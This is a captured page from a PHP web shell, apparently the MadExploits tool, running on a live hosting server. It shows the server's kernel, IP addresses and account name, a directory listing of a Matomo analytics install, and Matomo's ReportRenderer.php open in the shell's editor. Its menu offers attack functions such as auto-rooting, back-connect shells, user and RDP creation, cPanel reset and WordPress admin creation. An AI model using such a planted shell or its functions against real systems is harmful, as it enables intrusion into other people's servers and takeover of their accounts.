Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.148.105.152
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ReportRenderer.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use Exception; use Piwik\API\Request; use Piwik\Container\StaticContainer; use Piwik\DataTable\Row; use Piwik\DataTable\Simple; use Piwik\Plugins\ImageGraph\API; /** * A Report Renderer produces user friendly renderings of any given Piwik report. * All new Renderers must be copied in ReportRenderer and added to the $availableReportRenderers. */ abstract class ReportRenderer extends BaseFactory { const DEFAULT_REPORT_FONT_FAMILY = 'dejavusans'; const REPORT_TEXT_COLOR = "13,13,13"; const REPORT_TITLE_TEXT_COLOR = "13,13,13"; const TABLE_HEADER_BG_COLOR = "255,255,255"; const TABLE_HEADER_TEXT_COLOR = "13,13,13"; const TABLE_HEADER_TEXT_TRANSFORM = "uppercase"; const TABLE_HEADER_TEXT_WEIGHT = "normal"; const TABLE_CELL_BORDER_COLOR = "217,217,217"; const TABLE_BG_COLOR = "242,242,242"; const HTML_FORMAT = 'html'; const PDF_FORMAT = 'pdf'; const CSV_FORMAT = 'csv'; const TSV_FORMAT = 'tsv'; protected $idSite = 'all'; protected $report; private static $availableReportRenderers = [ self::PDF_FORMAT, self::HTML_FORMAT, self::CSV_FORMAT, self::TSV_FORMAT, ]; /** * Sets the site id * * @param int $idSite */ public function setIdSite($idSite) { $this->idSite = $idSite; } public function setReport($report) { $this->report = $report; } protected static function getClassNameFromClassId($rendererType) { return 'Piwik\ReportRenderer\\' . self::normalizeRendererType($rendererType); } protected static function getInvalidClassIdExceptionMessage($rendererType) { return Piwik::translate( 'General_ExceptionInvalidReportRendererFormat', [self::normalizeRendererType($rendererType), implode(', ', self::$availableReportRenderers)] ); } protected static function normalizeRendererType($rendererType) { return ucfirst(strtolower($rendererType)); } /** * Initialize locale settings. * If not called, locale settings defaults to 'en' * * @param string $locale */ abstract public function setLocale($locale); /** * Save rendering to disk * * @param string $filename without path & without format extension * @return string path of file */ abstract public function sendToDisk($filename); /** * Send rendering to browser with a 'download file' prompt * * @param string $filename without path & without format extension */ abstract public function sendToBrowserDownload($filename); /** * Output rendering to browser * * @param string $filename without path & without format extension */ abstract public function sendToBrowserInline($filename); /** * Get rendered report */ abstract public function getRenderedReport(); /** * Generate the first page. * * @param string $reportTitle * @param string $prettyDate formatted date * @param string $description * @param array $reportMetadata metadata for all reports * @param array $segment segment applied to all reports */ abstract public function renderFrontPage($reportTitle, $prettyDate, $description, $reportMetadata, $segment); /** * Render the provided report. * Multiple calls to this method before calling outputRendering appends each report content. * * @param array $processedReport @see API::getProcessedReport() */ abstract public function renderReport($processedReport); /** * Get report attachments, ex. graph images * * @param $report * @param $processedReports * @param $prettyDate * @return array */ abstract public function getAttachments($report, $processedReports, $prettyDate); /** * Append $extension to $filename * * @static * @param string $filename * @param string $extension * @return string filename with extension */ protected static function makeFilenameWithExtension($filename, $extension) { // the filename can be used in HTTP headers, remove new lines to prevent HTTP header injection $filename = str_replace(["\n", "\t"], " ", $filename); return $filename . "." . $extension; } /** * Return $filename with temp directory and delete file * * @static * @param $filename * @return string path of file in temp directory */ protected static function getOutputPath($filename) { $baseAssetsDir = StaticContainer::get('path.tmp') . '/assets/'; $outputFilename = $baseAssetsDir . $filename; if (!is_dir($baseAssetsDir)) { Filesystem::mkdir($baseAssetsDir); } @chmod($outputFilename, 0600); if (file_exists($outputFilename)) { @unlink($outputFilename); } return $outputFilename; } protected static function writeFile($filename, $extension, $content) { $filename = self::makeFilenameWithExtension($filename, $extension); $outputFilename = self::getOutputPath($filename); $bytesWritten = file_put_contents($outputFilename, $content); if ($bytesWritten === false) { throw new Exception("ReportRenderer: Could not write to file '" . $outputFilename . "'."); } return $outputFilename; } protected static function sendToBrowser($filename, $extension, $contentType, $content) { $filename = ReportRenderer::makeFilenameWithExtension($filename, $extension); ProxyHttp::overrideCacheControlHeaders(); Common::sendHeader('Content-Description: File Transfer'); Common::sendHeader('Content-Type: ' . $contentType); Common::sendHeader('Content-Disposition: attachment; filename="' . str_replace('"', '\'', basename($filename)) . '";'); Common::sendHeader('Content-Length: ' . strlen($content)); echo $content; } protected static function inlineToBrowser($contentType, $content) { Common::sendHeader('Content-Type: ' . $contentType); echo $content; } /** * Convert a dimension-less report to a multi-row two-column data table * * @static * @param $reportMetadata array * @param $report DataTable * @param $reportColumns array * @return array DataTable $report & array $columns */ protected static function processTableFormat($reportMetadata, $report, $reportColumns) { $finalReport = $report; if (empty($reportMetadata['dimension'])) { $simpleReportMetrics = $report->getFirstRow(); if ($simpleReportMetrics) { $finalReport = new Simple(); foreach ($simpleReportMetrics->getColumns() as $metricId => $metric) { $newRow = new Row(); $newRow->addColumn("label", $reportColumns[$metricId]); $newRow->addColumn("value", $metric); $finalReport->addRow($newRow); } } $reportColumns = [ 'label' => Piwik::translate('General_Name'), 'value' => Piwik::translate('General_Value'), ]; } return [ $finalReport, $reportColumns, ]; } public static function getStaticGraph($reportMetadata, $width, $height, $evolution, $segment) { $imageGraphUrl = $reportMetadata['imageGraphUrl']; if ($evolution && !empty($reportMetadata['imageGraphEvolutionUrl'])) { $imageGraphUrl = $reportMetadata['imageGraphEvolutionUrl']; } $requestGraph = $imageGraphUrl . '&outputType=' . API::GRAPH_OUTPUT_PHP . '&format=original&serialize=0' . '&filter_truncate=' . '&width=' . $width . '&height=' . $height . ($segment != null ? '&segment=' . urlencode($segment['definition']) : ''); $request = new Request($requestGraph); try { $imageGraph = $request->process(); // Get image data as string ob_start(); imagepng($imageGraph); $imageGraphData = ob_get_contents(); ob_end_clean(); imagedestroy($imageGraph); return $imageGraphData; } catch (Exception $e) { throw new Exception("ImageGraph API returned an error: " . $e->getMessage() . "\n"); } } }
Close